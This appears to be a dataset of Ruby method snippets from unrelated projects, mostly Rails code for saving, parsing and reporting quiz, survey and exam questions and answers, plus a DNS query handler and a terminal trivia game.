"def create\n \n respond_to do |format|\n \n if !params[:questions].nil? \n params[:questions].each {\n |q| \n type = Question.find_by_id(q[0]).question_type\n answer = (type == 2 ? Answer.find_by_id(q[1]).correct : nil)\n Response.new( \n {\n \"question_id\" => q[0],\n \"answer_id\" => type == 2 ? q[1] : nil,\n \"text\" => type == 1 ? q[1] : nil,\n \"user_id\" => current_user.id,\n \"question_group_id\" => params[:response][:question_group_id],\n \"correct\" => answer\n }\n ).save\n }\n format.html { redirect_to '/responses', notice: 'Your responses were successfully saved.' }\n else\n @response = Response.new(params[:response])\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render json: @response, status: :created, location: @response }\n end\n end\n end\n end",
"def answers\n [].tap do |a|\n a << qts_award_year\n a << claim_school\n a << current_school\n a << subjects_taught\n a << leadership_position\n a << mostly_performed_leadership_duties if eligibility.had_leadership_position?\n a << student_loan_amount\n end\n end",
"def extract(answer_groups)\n @question_group.questions.collect do |question|\n results =\n case question\n when Rapidfire::Questions::Select, Rapidfire::Questions::Radio,\n Rapidfire::Questions::Checkbox\n answer_groups_answers = get_answer_groups_answers(answer_groups, question)\n all_answers = []\n answer_groups_answers.each do |text|\n if text.is_a?(FalseClass) || text.is_a?(TrueClass)\n all_answers << text\n else\n all_answers << text.split(',') unless text.nil?\n end\n end\n answers = all_answers.flatten\n\n answers.inject(Hash.new(0)) { |total, e| total[e] += 1; total } unless answers.nil?\n\n when Rapidfire::Questions::Short, Rapidfire::Questions::Date,\n Rapidfire::Questions::Long, Rapidfire::Questions::Numeric\n get_answer_groups_answers(answer_groups, question)\n end\n\n QuestionResult.new(question: question, results: results)\n end\n end",
"def answers_for_question(question)\n @answers_for_question ||= {}\n @answers_for_question[question] ||= Answer.first_level_only\n .joins(:form_item)\n .where(response_id: responses.map(&:id))\n .where(\"form_items.question_id\" => question.id)\n .index_by(&:response_id)\n end",
"def add_questions_answers(responses)\n content = \"\"\n responses.each do |response|\n answer = response.answer\n if !response.string_value.nil?\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.string_value)}\\n\"\n elsif answer.text == \"Date\"\n content += \"<b>#{response.question.text}</b> - #{response.datetime_value.to_date}\\n\"\n else\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.answer.text.to_str)}\\n\"\n end\n end\n content\n end",
"def parse_base_results\n r = HashWithIndifferentAccess.new\n @assessment.questions.each_with_index do |question, order|\n result = HashWithIndifferentAccess.new\n choices = Array.new\n id = question['id']\n label = question['question']\n q_choices = choices_for_question_id(id)\n q_choices.each_with_index do |choice, c_order|\n c_id = choice['id']\n c_label = choice['label']\n c_correct = (answer_for_question_id(id) == c_id)\n c_value = default_choice_value(c_id, c_correct, c_label, c_order)\n choices.push(c_value)\n end\n result['id'] = id\n result['order'] = order\n result['question'] = label\n result['choices'] = choices\n result['total'] = 0.0 # ADDED, if refactor.\n result['percentages'] = percentages_from_decimal(0.0)\n r[id] = result\n end\n r\n end",
"def check_for_answers(questions)\r\n @possible_questions = []\r\n questions.each do |question| \r\n unless question.answers.length < 2 \r\n @possible_questions << question \r\n end \r\n @possible_questions\r\n end \r\n end",
"def process_query(query, options = {}, &block)\n\t\t\t# Setup answer\n\t\t\tanswer = Resolv::DNS::Message::new(query.id)\n\t\t\tanswer.qr = 1 # 0 = Query, 1 = Response\n\t\t\tanswer.opcode = query.opcode # Type of Query; copy from query\n\t\t\tanswer.aa = 1 # Is this an authoritative response: 0 = No, 1 = Yes\n\t\t\tanswer.rd = query.rd # Is Recursion Desired, copied from query\n\t\t\tanswer.ra = 0 # Does name server support recursion: 0 = No, 1 = Yes\n\t\t\tanswer.rcode = 0 # Response code: 0 = No errors\n\n\t\t\t# 1/ This chain contains a reverse list of question lambdas.\n\t\t\tchain = []\n\n\t\t\t# 4/ Finally, the answer is given back to the calling block:\n\t\t\tchain << lambda do\n\t\t\t\t@logger.debug \"Passing answer back to caller...\"\n\t\t\t\tyield answer\n\t\t\tend\n\n\t\t\t# There may be multiple questions per query\n\t\t\tquery.question.reverse.each do |question, resource_class|\n\t\t\t\tnext_link = chain.last\n\n\t\t\t\tchain << lambda do\n\t\t\t\t\t@logger.debug \"Processing question #{question} #{resource_class}...\"\n\n\t\t\t\t\ttransaction = Transaction.new(self, query, question, resource_class, answer, options)\n\t\t\t\t\t\n\t\t\t\t\t# Call the next link in the chain:\n\t\t\t\t\ttransaction.callback do\n\t\t\t\t\t\t# 3/ ... which calls the previous item in the chain, i.e. the next question to be answered:\n\t\t\t\t\t\tnext_link.call\n\t\t\t\t\tend\n\n\t\t\t\t\t# If there was an error, log it and fail:\n\t\t\t\t\ttransaction.errback do |response|\n\t\t\t\t\t\tif Exception === response\n\t\t\t\t\t\t\t@logger.error \"Exception thrown while processing #{transaction}!\"\n\t\t\t\t\t\t\tRubyDNS.log_exception(@logger, response)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@logger.error \"Failure while processing #{transaction}!\"\n\t\t\t\t\t\t\t@logger.error \"#{response.inspect}\"\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tanswer.rcode = Resolv::DNS::RCode::ServFail\n\n\t\t\t\t\t\tchain.first.call\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tbegin\n\t\t\t\t\t\t# Transaction.process will call succeed if it wasn't deferred:\n\t\t\t\t\t\ttransaction.process\n\t\t\t\t\trescue\n\t\t\t\t\t\ttransaction.fail($!)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# 2/ We call the last lambda...\n\t\t\tchain.last.call\n\t\tend",
"def execute\n questions = QuestionMapper.find_all\n answers = AnswerMapper.find_all\n answer_hash = Hash.new(0)\n\n answers.each do |ans| \n answer_hash[ans.id] = ans\n end \n \n questions.each do |question| \n answer_arr = [] \n answer_arr << question\n answer_arr << (answers.sample(3) - [answer_hash[question.id]] + [answer_hash[question.id]])\n print_segment(answer_arr)\n end \n\n :ok\n end",
"def update_multiple_answer_questions params\n #clear questions first\n self.pal_additional_areas.clear\n self.pal_participation_levels.clear\n self.help_additional_areas.clear\n self.professions.clear\n self.search_plan_types.clear\n self.npln_participation_levels.clear\n self.referral_fees.clear\n self.plan_types.clear\n self.claim_types.clear\n self.sponsor_types.clear\n self.npln_additional_areas.clear\n self.jurisdictions.clear\n self.geo_areas.clear\n\n self.pal_additional_areas << params[:pal_additional_areas].collect{|p| PalAdditionalArea[p]} if params[:pal_additional_areas]\n self.pal_participation_levels << params[:pal_participation_levels].collect{|p| PalParticipationLevel[p]} if params[:pal_participation_levels]\n self.help_additional_areas << params[:help_additional_areas].collect{|p| HelpAdditionalArea[p]} if params[:help_additional_areas]\n self.professions << Profession[params[:profession]] if (params[:profession] and !params[:profession].blank?)\n self.search_plan_types << params[:search_plan_types].collect{|p| SearchPlanType[p]} if params[:serach_plan_types]\n self.npln_participation_levels << params[:npln_participation_levels].collect{|p| NplnParticipationLevel[p]} if params[:npln_participation_levels]\n self.referral_fees << params[:referral_fees].collect{|p| ReferralFee[p]} if params[:referral_fees]\n self.plan_types << params[:plan_types].collect{|p| PlanType[p]} if params[:plan_types]\n self.claim_types << params[:claim_types].collect{|p| ClaimType[p]} if params[:claim_types]\n self.sponsor_types << params[:sponsor_types].collect{|p| SponsorType[p]} if params[:sponsor_types]\n self.npln_additional_areas << params[:npln_additional_areas].collect{|p| NplnAdditionalArea[p]} if params[:npln_additional_areas]\n self.jurisdictions << params[:jurisdictions].collect{|p| Jurisdiction[p]} if params[:jurisdictions]\n self.geo_areas << params[:geo_areas].collect{|p| GeoArea[p]} if params[:geo_areas]\n end",
"def rearrange_questions(questions)\n return questions if check_threshold\n\n # Initialize local variables\n panel_questions = {}\n panel_scores = {}\n questions_response_count = {}\n sorted_panel_questions = []\n prev_topic = nil\n current_topic = nil\n primary_response_count = 0\n sorted_questions = []\n grouped_questions = []\n\n # Loop through questions array and store in a hash with its response counts\n questions.each do |question|\n question_type = question.question_type\n current_topic = question_type.parameters.split(\"::\")[0]\n grouping_position = question_type.parameters.split(\"::\").length == 1 ? nil : question_type.parameters.split(\"::\").last.split(\"|\")[0]\n grouping_count = question_type.parameters.split(\"::\").length == 1 ? nil : question_type.parameters.split(\"::\").last.split(\"|\")[1].to_i\n # grouping_position > 1 implies secondary questions among questions grouped by 1|2 logic\n # we need to call to_i method on grouping_position if it is a string\n if grouping_position.to_i <= 1\n # create new hash set for new accordion panel\n unless !current_topic.nil? && (current_topic == prev_topic || prev_topic.nil?)\n panel_score, sorted_panel_questions = process_panel(questions, questions_response_count)\n panel_questions[prev_topic] = sorted_panel_questions\n panel_scores[prev_topic] = panel_score / sorted_panel_questions.length\n\n questions_response_count = {}\n end\n # calculate response count when first checkbox type question comes\n # for the rest of the checkbox questions; assign the same calculated response count\n if question_type.q_type.eql? 'Checkbox'\n if current_topic.eql? prev_topic\n checkbox_questions = questions.select {|checkbox_question| checkbox_question.question_type.parameters.split(\"::\")[0].eql?(current_topic) }\n primary_response_count = find_number_of_responses_for_checkbox(checkbox_questions)\n end\n # calculate response count for corresponding comment for Rating type of questions\n elsif (question_type.q_type.eql? 'Rating') && (grouping_position.to_i == 1)\n current_question_index = questions.index(question)\n curr_question = questions.fetch(current_question_index + 1)\n primary_response_count = find_number_of_responses(curr_question)\n else # ungrouped questions\n primary_response_count = find_number_of_responses(question)\n end\n end\n questions_response_count[question.id] = primary_response_count\n prev_topic = current_topic\n end\n\n # Ensure last hash of questions is also included in the final rearranged question array\n unless questions_response_count.empty?\n panel_score, sorted_panel_questions = process_panel(questions, questions_response_count)\n panel_questions[prev_topic] = sorted_panel_questions\n panel_scores[prev_topic] = panel_score / questions_response_count.length\n end\n\n # Create final array of rearranged questions by sorting hash of each panel\n panel_scores = Hash[panel_scores.sort_by {|_k, v| v }]\n panel_scores.each do |key, _value|\n panel_questions.fetch(key).each {|question| sorted_questions << question }\n end\n sorted_questions\n end",
"def parse_info(properties)\n contents = properties['contents']\n contents['questions'].each do |q|\n if q['parts'].length == 1 && q['separateSubparts']\n raise 'Cannot separateSubparts for a question with only one part'\n end\n end\n\n answers = contents['questions'].map do |q|\n q['parts'].map do |p|\n p['body'].map do |b|\n if b.is_a? String\n { NO_ANS: true }\n elsif b.is_a? Hash\n if b.key? 'AllThatApply'\n b['AllThatApply']['options'].map(&:values).flatten\n elsif b.key? 'Code'\n { NO_ANS: true }\n elsif b.key? 'CodeTag'\n {\n selectedFile: b['CodeTag']['correctAnswer']['filename'],\n lineNumber: b['CodeTag']['correctAnswer']['line'],\n }\n elsif b.key? 'Matching'\n b['Matching']['correctAnswers']\n elsif b.key? 'MultipleChoice'\n b['MultipleChoice']['correctAnswer']\n elsif b.key? 'Text'\n { NO_ANS: true }\n elsif b.key? 'TrueFalse'\n if (b['TrueFalse'] == true) || (b['TrueFalse'] == false)\n b['TrueFalse']\n else\n b['TrueFalse']['correctAnswer']\n end\n elsif b.key? 'YesNo'\n if (b['YesNo'] == true) || (b['YesNo'] == false)\n b['YesNo']\n else\n b['YesNo']['correctAnswer']\n end\n else\n raise 'Bad body item'\n end\n end\n end\n end\n end\n\n rubrics = {\n examRubric: convert_rubric(contents['examRubric']),\n questions: contents['questions'].map do |q|\n {\n questionRubric: convert_rubric(q['questionRubric']),\n parts: q['parts']&.map do |p|\n {\n partRubric: convert_rubric(p['partRubric']),\n body: p['body']&.map do |b|\n if (b.is_a? Hash)\n convert_rubric(b.values.first['rubric'])\n else\n convert_rubric(nil)\n end\n end || [],\n }\n end || [],\n }\n end || [],\n }\n\n e_reference = contents['reference']&.map { |r| map_reference r } || []\n questions = contents['questions'].map do |q|\n q_reference = q['reference']&.map { |r| map_reference r } || []\n {\n name: make_html_val(q['name']),\n separateSubparts: q['separateSubparts'],\n description: make_html_val(q['description']),\n reference: q_reference,\n parts: q['parts'].map do |p|\n p_reference = p['reference']&.map { |r| map_reference r } || []\n {\n name: make_html_val(p['name']),\n description: make_html_val(p['description']),\n points: p['points'],\n reference: p_reference,\n body: p['body'].map do |b|\n if b.is_a? String\n {\n type: 'HTML',\n value: b,\n }\n elsif b.is_a? Hash\n if b.key? 'AllThatApply'\n {\n type: 'AllThatApply',\n prompt: make_html_val(b['AllThatApply']['prompt']),\n options: make_html_vals(b['AllThatApply']['options'].map(&:keys).flatten),\n }\n elsif b.key? 'Code'\n initial = b['Code']['initial']\n unless initial.nil?\n if initial.key? 'file'\n # filename = initial['file']\n # file = files[filename]\n # raise \"Invalid file for Code initial: #{filename}\" if file.nil?\n else\n processed = MarksProcessor.process_marks(ensure_utf8(initial['code'], 'text/plain'))\n initial = {\n text: processed[:text],\n marks: processed[:marks],\n }\n end\n end\n {\n type: 'Code',\n prompt: make_html_val(b['Code']['prompt']),\n lang: b['Code']['lang'],\n initial: initial,\n }.compact\n elsif b.key? 'CodeTag'\n referent =\n if b['CodeTag']['choices'] == 'part'\n raise 'No reference for part.' if p_reference.nil?\n\n 'part'\n elsif b['CodeTag']['choices'] == 'question'\n raise 'No reference for question.' if q_reference.nil?\n\n 'question'\n elsif b['CodeTag']['choices'] == 'exam'\n raise 'No reference for exam.' if e_reference.nil?\n\n 'exam'\n else\n raise 'CodeTag reference is invalid.'\n end\n {\n type: 'CodeTag',\n choices: referent,\n prompt: make_html_val(b['CodeTag']['prompt']),\n }\n elsif b.key? 'Matching'\n {\n type: 'Matching',\n prompt: make_html_val(b['Matching']['prompt']),\n promptsLabel: make_html_val(b['Matching']['promptsLabel']),\n valuesLabel: make_html_val(b['Matching']['valuesLabel']),\n prompts: make_html_vals(b['Matching']['prompts']),\n values: make_html_vals(b['Matching']['values']),\n }.compact\n elsif b.key? 'MultipleChoice'\n {\n type: 'MultipleChoice',\n prompt: make_html_val(b['MultipleChoice']['prompt']),\n options: make_html_vals(b['MultipleChoice']['options']),\n }\n elsif b.key? 'Text'\n if b['Text'].nil?\n {\n type: 'Text',\n prompt: '',\n }\n else\n {\n type: 'Text',\n prompt: make_html_val(b['Text']['prompt']),\n }\n end\n elsif b.key? 'TrueFalse'\n {\n type: 'YesNo',\n yesLabel: 'True',\n noLabel: 'False',\n prompt:\n if (b['TrueFalse'] == true) || (b['TrueFalse'] == false)\n ''\n else\n make_html_val(b['TrueFalse']['prompt'])\n end,\n }\n elsif b.key? 'YesNo'\n {\n type: 'YesNo',\n yesLabel: 'Yes',\n noLabel: 'No',\n prompt:\n if (b['YesNo'] == true) || (b['YesNo'] == false)\n ''\n else\n make_html_val(b['YesNo']['prompt'])\n end,\n }\n else\n raise 'Bad question type.'\n end\n else\n raise 'Bad body item.'\n end\n end,\n }.compact\n end,\n }.compact\n end\n {\n policies: properties['policies'] || [],\n contents: {\n questions: questions,\n reference: e_reference,\n instructions: make_html_val(contents['instructions']),\n }.compact,\n answers: answers,\n rubrics: rubrics,\n }\n end",
"def make_modification\n cur_resp = ResponseSet.where(:user_id => current_user, :access_code => params[:protocol_id]).first\n mod = ResponseSet.create(:user_id=>current_user.id,\n :survey_id => params[:survey_id])\n mod.parent_id = params[:protocol_id]\n mod.save\n resp_set_id = cur_resp.id\n responses = Response.where(:response_set_id => resp_set_id)\n responses.each do |resp| \n answer_attributes = Answer.find(resp.answer_id).attributes\n answer_attributes.delete(\"id\")\n answer_attributes.delete(\"api_id\")\n answer_attributes.delete(\"created_at\")\n answer_attributes.delete(\"updated_at\")\n new_answer = Answer.new(answer_attributes)\n new_answer.save\n resp_attributes = resp.attributes\n resp_attributes.delete(\"id\")\n resp_attributes.delete(\"api_id\")\n resp_attributes.delete(\"created_at\")\n resp_attributes.delete(\"updated_at\")\n resp_attributes[:answer_id] = new_answer.id\n resp_attributes[:response_set_id] = mod.id\n new_resp = Response.new(resp_attributes)\n new_resp.save\n end\n redirect_to :back\n end",
"def respect_ancestors(answer_group, repeat_groups)\n name = answer_group.group_name\n name += (answer_group.new_rank + 1).to_s if answer_group.repeatable?\n repeat_groups << name\n if answer_group.parent_id.present?\n parent_answer_group = next_agroup_up(answer_group.parent_id)\n if parent_answer_group.present? && parent_answer_group.group_name.present?\n repeat_groups = respect_ancestors(parent_answer_group, repeat_groups)\n end\n end\n repeat_groups\n end",
"def rearrange_questions(questions)\n if (check_threshold)\n return questions\n end\n\n # Initialize local variables\n panel_questions=Hash.new\n panel_scores=Hash.new\n questions_response_count=Hash.new\n sorted_panel_questions=Array.new\n prev_topic=nil\n current_topic=nil\n primary_response_count=0\n sorted_questions=Array.new\n grouped_questions=Array.new\n\n # Loop through questions array and store in a hash with its response counts\n questions.each {\n |question|\n question_type=question.question_type\n current_topic = question_type.parameters.split(\"::\")[0]\n grouping_position= question_type.parameters.split(\"::\").length==1 ? nil : question_type.parameters.split(\"::\").last.split(\"|\")[0]\n grouping_count= question_type.parameters.split(\"::\").length==1 ? nil : question_type.parameters.split(\"::\").last.split(\"|\")[1].to_i\n # grouping_position > 1 implies secondary questions among questions grouped by 1|2 logic\n # we need to call to_i method on grouping_position if it is a string\n if grouping_position.to_i<=1\n # create new hash set for new accordion panel\n unless (!current_topic.nil? && (current_topic==prev_topic || prev_topic.nil?))\n panel_score, sorted_panel_questions = process_panel(questions, questions_response_count)\n panel_questions[prev_topic]=sorted_panel_questions\n panel_scores[prev_topic]=panel_score/sorted_panel_questions.length\n\n questions_response_count=Hash.new\n end\n # calculate response count when first checkbox type question comes\n # for the rest of the checkbox questions; assign the same calculated response count\n if question_type.q_type.eql? 'Checkbox'\n unless (!current_topic.eql? prev_topic)\n checkbox_questions=questions.select { |checkbox_question| checkbox_question.question_type.parameters.split(\"::\")[0].eql?(current_topic) }\n primary_response_count= find_number_of_responses_for_checkbox(checkbox_questions)\n end\n # calculate response count for corresponding comment for Rating type of questions\n elsif (question_type.q_type.eql? 'Rating') && (grouping_position.to_i==1)\n current_question_index=questions.index(question)\n curr_question=questions.fetch(current_question_index+1)\n primary_response_count= find_number_of_responses(curr_question)\n else # ungrouped questions\n primary_response_count= find_number_of_responses(question)\n end\n end\n questions_response_count[question.id]= primary_response_count\n prev_topic=current_topic\n }\n\n # Ensure last hash of questions is also included in the final rearranged question array\n unless (questions_response_count.empty?)\n panel_score, sorted_panel_questions = process_panel(questions, questions_response_count)\n panel_questions[prev_topic]=sorted_panel_questions\n panel_scores[prev_topic]=panel_score/questions_response_count.length\n end\n\n # Create final array of rearranged questions by sorting hash of each panel\n panel_scores=Hash[panel_scores.sort_by { |k, v| v }]\n panel_scores.each {\n |key, value|\n panel_questions.fetch(key).each { |question| sorted_questions << question }\n }\n return sorted_questions\n end",
"def process\n # Initialise things\n @fiber_last_fixed_journal_orders = {}\n @run_state = journals.where(type: 'GameEngine::StartGameJournal').blank? ? :waiting : :running\n @journal_stack = []\n\n # Spawn a GameState object, seeding it with our creating time\n # in nanoseconds\n @game_state = GameEngine::GameState.new(created_at.nsec, self)\n\n # Prepare a Fiber to run the game state in a coroutiney way\n fiber = Fiber.new { @game_state.run }\n\n # Kick the fiber off, and wait for the first question\n @questions = Array(fiber.resume).flatten\n\n # Until we run out of answers, post journals in as answers to questions\n journals.each do |j|\n # Allow tests to ignore individual journals\n next if j.ignore\n @questions = Array(fiber.resume(j)).flatten\n\n unless fiber.alive?\n @run_state = :ended\n return\n end\n\n @questions.compact!\n rescue\n raise if Rails.env.test? || Rails.env.development?\n @questions = []\n return\n end\n\n # Before going back to the users, see if the question:\n # * was caused by someone other than the person who needs to answer; and\n # * has only one valid choice\n # In that case, we synthesise the journal and carry on.\n # Buuut, we have to keep a hold of who the last _active_ person is, in case\n # there's a follow-up no-choice for the same player.\n while @questions.any? { |q| q.auto_candidate && q.can_be_auto_answered?(@game_state) }\n auto_journal = @questions.lazy.map { |q| q.auto_answer(@game_state) }.detect(&:itself)\n auto_journal.auto = true\n @questions = Array(fiber.resume(auto_journal)).flatten\n @questions.compact!\n end\n end",
"def create\n\n @icebreaker_answer = IcebreakerAnswer.new(icebreaker_answer_params)\n @ice=IceBreaker.find(params[:icebreaker_answer][:ice_breaker_id])\n @question=Question.find(params[:icebreaker_answer][:question_id])\n @next_question = (@ice.questions.map(&:id) - @ice.icebreaker_answers.map(&:question_id) - [@question.id])\n @icebreaker_answer.ice_ans_status=true\n #@ice.icebreaker_answers.each do |s|\n # s.ice_ans_status=true\n # s.save!\n #end\n\n\n #render :json => @next_question\n #return\n respond_to do |format|\n if @icebreaker_answer.save!\n if @next_question == []\n if !check_icebreaker_status(@ice.sender_id)\n redirect_to start_ice_breaker_path(@ice.sender_id), :notice=>\"Now its your turn to send an Ice-breaker.\"\n else\n redirect_to user_profile_path(@ice.sender_id), :notice=>\"Now Start the conversations\"\n end\n\n #format.html { redirect_to authenticated_root_path, notice: 'Now its your turn to send an Ice-breaker.' }\n return\n else\n @next_question = @next_question[0]\n end\n\n\n format.html { redirect_to answer_icebreaker_path(@ice.id,@next_question), notice: 'Icebreaker answer was successfully saved.' }\n format.json { render action: 'show', status: :created, location: @icebreaker_answer }\n else\n format.html { render action: 'new' }\n format.json { render json: @icebreaker_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_from(user)\n user.answers.where(question_id: self).first || \n matching_answer_class.new do |answer|\n answer.question = self\n answer.user = user\n end\n end",
"def planner\n #grabs all the questions from the question records table\n \t@questions = Question.all.order(:id)\n #this adds all of th question answer into an array\n \t@answers = []\n \tQuestion.all.order(:id).each do |question|\n \t\t@answers << question.answers.order(:id)\n \tend\n \t#render layout: 'planner_layout'\n end",
"def parse_response(body)\n # Handling first response\n if INITIAL_FEELINGS.include? body\n @answers.push(body)\n create_response(create_second_text_message(body))\n # Handling second response\n elsif FOLLOWUP_FEELINGS.include? body\n @answers.push(body)\n if (@answers.length >= 1)\n create_response(\"Feel #{@answers[0]} and #{@answers[1]} throughout the day!\")\n else\n create_response(\"Empower youself with these feelings throughout the day. You can do it.\")\n end\n else\n create_response(\"We're not sure how to reply, please follow up with a valid feeling.\")\n end\n end",
"def answer_form\n AnswerForm.new(view_context)\n end",
"def read_answer(id)\n $stderr.print \"Reading answer (#{id}).\\n\" if @debug\n block_res = @blocks[id]\n $stderr.print \"Answer is block for #{id} #{block_res}\\n\" if @debug and block_res\n \n loop do\n raise \"Process destroyed.\" if !@out_answers\n \n if block_res\n self.exec_block_results(id)\n break if block_res and block_res[:finished]\n else\n break if @out_answers.key?(id)\n end\n \n sleep @args[:sleep_answer]\n end\n \n if block_res\n self.exec_block_results(id)\n @blocks.delete(id)\n end\n \n ret = @out_answers[id]\n @out_answers.delete(id)\n \n if ret.is_a?(Hash) and ret[\"type\"] == \"process_error\"\n $stderr.print \"Process-error - begin generating error...\\n\" if @debug\n err = RuntimeError.new(ret[\"msg\"])\n bt = []\n ret[\"backtrace\"].each do |subproc_bt|\n bt << \"Subprocess: #{subproc_bt}\"\n end\n \n caller.each do |proc_bt|\n bt << proc_bt\n end\n \n err.set_backtrace(bt)\n \n $stderr.print Knj::Errors.error_str(err) if @debug\n raise err\n end\n \n $stderr.print \"Returning answer (#{id}).\\n\" if @debug\n return ret\n end",
"def as_json(*args)\n super(*args).merge(answers: answers.map(&:content))\n end",
"def prepare_chain\n chain = []\n chain << NomenclatureChange::OutputTaxonConceptProcessor.new(@primary_output)\n chain << NomenclatureChange::OutputTaxonConceptProcessor.new(@secondary_output)\n\n chain << reassignment_processor(@secondary_output)\n\n chain <<\n if @primary_output.new_name_status == 'A'\n linked_names = @secondary_output ? [@secondary_output] : []\n NomenclatureChange::StatusUpgradeProcessor.new(@primary_output, linked_names)\n else\n accepted_names = @secondary_output ? [@secondary_output] : []\n NomenclatureChange::StatusDowngradeProcessor.new(@primary_output, accepted_names)\n end\n chain.compact\n end",
"def auto_add_answers\n\t\tperson_names = %w(john micheal jordan arya tyrion sansa khal joffrey ramsay)\n\t\tanswers = [\"Very likely\",\"Somewhat likely\",\"Neutral\",\"Somewhat unlikely\",\"Very unlikely\",\"Very satisfied\",\"Somewhat satisfied\",\"Neutral\",\"Somewhat dissatisfied\",\"Very dissatisfied\"]\n\n\t\t(1..3).to_a.each do |num|\n\t\t\tperson_name = person_names.shuffle.first\n\t\t\tanswer = answers.shuffle.first\n\t\t\tself.answers.create(person_name: person_name, answer: answer)\n\t\tend\n\tend",
"def propagate_properties\n queue = []\n visited = []\n\n queue.push self.id\n #visited.push self.id\n\n while not queue.empty?\n answer_id = queue.shift\n\n answer = Answer.find(answer_id)\n\n puts \">>> #{answer.id}\"\n\n for similar_answer in answer.similar_answers do\n unless visited.include?(similar_answer)\n changed = Answer.propagate_properties_to_neigh(answer,similar_answer)\n if changed\n queue.push similar_answer\n end\n end\n end\n visited.push answer_id\n puts \"<<< #{answer.id}\"\n end\n true\n end",
"def language_interpreter\n # Do not show this block in CYA if the user didn't yet reach this step\n # (we know because the array will be `nil` in that case).\n return [] if arrangement.language_options.nil?\n\n AnswersGroup.new(\n :language_interpreter,\n [\n Answer.new(\n :language_interpreter,\n arrangement.language_options.include?(LanguageHelp::LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:language_interpreter_details, arrangement.language_interpreter_details),\n Answer.new(\n :sign_language_interpreter,\n arrangement.language_options.include?(LanguageHelp::SIGN_LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:sign_language_interpreter_details, arrangement.sign_language_interpreter_details),\n Answer.new(\n :welsh_language,\n arrangement.language_options.include?(LanguageHelp::WELSH_LANGUAGE.to_s).to_s\n ),\n FreeTextAnswer.new(:welsh_language_details, arrangement.welsh_language_details),\n ],\n change_path: edit_steps_attending_court_language_path\n )\n end",
"def get_student_answers\n # Collect all the student answers for given offering.\n student_ids = @students.map { |s| s.id }\n report_learners = Report::Learner.where(offering_id: @offering.id, student_id: student_ids)\n\n answers = report_learners.map do |report_learner|\n student_id = report_learner.student_id\n report_learner.answers.map do |embeddable_key, answer|\n # Process some answers type to provide cleaner format, names, etc.\n question_type = API::V1::Report.embeddable_type(embeddable_key)\n answer[:type] = question_type\n answer[:embeddable_key] = embeddable_key\n answer[:student_id] = student_id\n if question_type == 'Embeddable::MultipleChoice'\n process_multiple_choice_answer(answer)\n elsif question_type == 'Embeddable::ImageQuestion'\n process_image_question_answer(answer)\n end\n answer\n end\n end\n # Flatten answers and group them by the embeddable key.\n answers.flatten.sort_by { |s| s[:student_name] }.group_by { |a| a[:embeddable_key] }\n end",
"def create\n \n @user_answer = UserAnswer.new(user_answer_params)\n count = 0\n \n #Loop through questions indefinitely\n respond_to do |format|\n if @user_answer.save\n @question = Question.where(id: @user_answer.question_id).first\n @quiz_id = @question.quiz_id\n @questions = Question.where(quiz_id: @quiz_id)\n @numquestions = @questions.count\n @quizzes = Quiz.where(id: @quiz_id)\n @lessonId = @quizzes.first.lesson_id\n\n if @question.questionNum < @numquestions\n @test = @questions.where('id > ?', @question.id).order(id: :asc).first\n\n format.html { redirect_to :controller=>'questions', :id => @test, :action=>'show', notice: 'User answer was successfully created.'}\n else\n #format.html { redirect_to :controller=>'questions', :id=>@questions.shuffle.first.id, :action=>'show' }\n format.html { redirect_to :controller=>'questions', :id=>@questions.first.id, :action=>'show' }\n end\n else\n format.html { render :new }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def questions_and_answers\n @questions_and_answers ||= QuestionsAndAnswers.new(group.custom_questions.required, custom_answers)\n end",
"def ask_questions(opponent, person)\n x = 0\n set_position\n # set a way to exit the nested loop\n catch :exit do\n # loops questions until catch\n loop do\n # display animation\n set_position\n animation\n # [0..4] shows the first five items of the every question array\n current_questions = Array.new(@questions[x])\n attc_value(current_questions)\n puts current_questions[0..4]\n # store the right answer\n right_answer = current_questions.last.to_s\n right_answer = right_answer.delete(\"\\n\")\n # ask the player questions and get the result\n puts \"\\nSelect your answer:\"\n system (\"say Select your answer.\")\n get_answer = gets.chomp.upcase\n # store the value of the answer\n player_answer = @hashed_ans[get_answer]\n # call the result method for the player\n boolean_answers_person(person, get_answer, right_answer, player_answer)\n # obtain the result of the computer\n com_answer = opponent.assign_prob(right_answer)\n com_display = @hashed_ans[com_answer]\n # call the result method for the computer\n boolean_answers_computer(opponent, com_answer, right_answer, com_display)\n #put the answer into the answer array\n @answers << player_answer\n x += 1\n puts \"\\nPress Enter to continue\"\n gets.chomp\n system(\"clear\")\n end\n end\n end",
"def map_outputs!(&ruby_block)\n @outputs.map! do |output|\n output = ruby_block.call(output)\n output.parent = self unless output.parent\n output\n end\n end",
"def move_orphans_to_parent\n orphan_questions = Question.where(qset_id: self.id)\n orphan_questions.update_all(qset_id: self.parent.id)\n end",
"def reply\n if logged_in?\n if params[:reply]\n @reply = Question.new(params[:reply])\n @reply.correct_flag=0\n @reply.user_id = current_user.id\n @reply.save\n @user = current_user\n @parent = Question.find(@reply.parentid)\n @parent_user = User.find(@parent.user_id)\n @answers = Question.findanswers(@parent.id.to_s)\n @answer = Question.find_all_by_id(@reply.id)\n \n UserMailer.deliver_new_answer(@parent_user, @reply)\n score(current_user,30)#When the user answers the question correctly\n respond_to do |format|\n flash[:notice] = 'Your answer was submitted successfully.'\n format.html { redirect_to(question_path(@parent))}\n format.xml { render :xml => @reply }\n end\n end\n else\n flash[:notice] = 'Your must login or create an account to reply to a question.'\n redirect_to :controller => 'account', :action => 'login'\n end\n end",
"def create_a_question\n q = ShortQuestion.create({\n :text => params[:text],\n :belongs_to_topic => params[:topic],\n :by => params[:by] || \"admin\",\n :by_id => params[:by_id]\n })\n params[:answers].each do |ans|\n a = q.short_answers.create({\n :text => ans.text,\n :choice_num => ans.choice \n })\n end\n $r.hset(\"question:#{q.id}:answers\", :num_choices, params[:answers].length)\n # Not setting the value of the answers to 0, as any increment will take care of initializing those keys\n end",
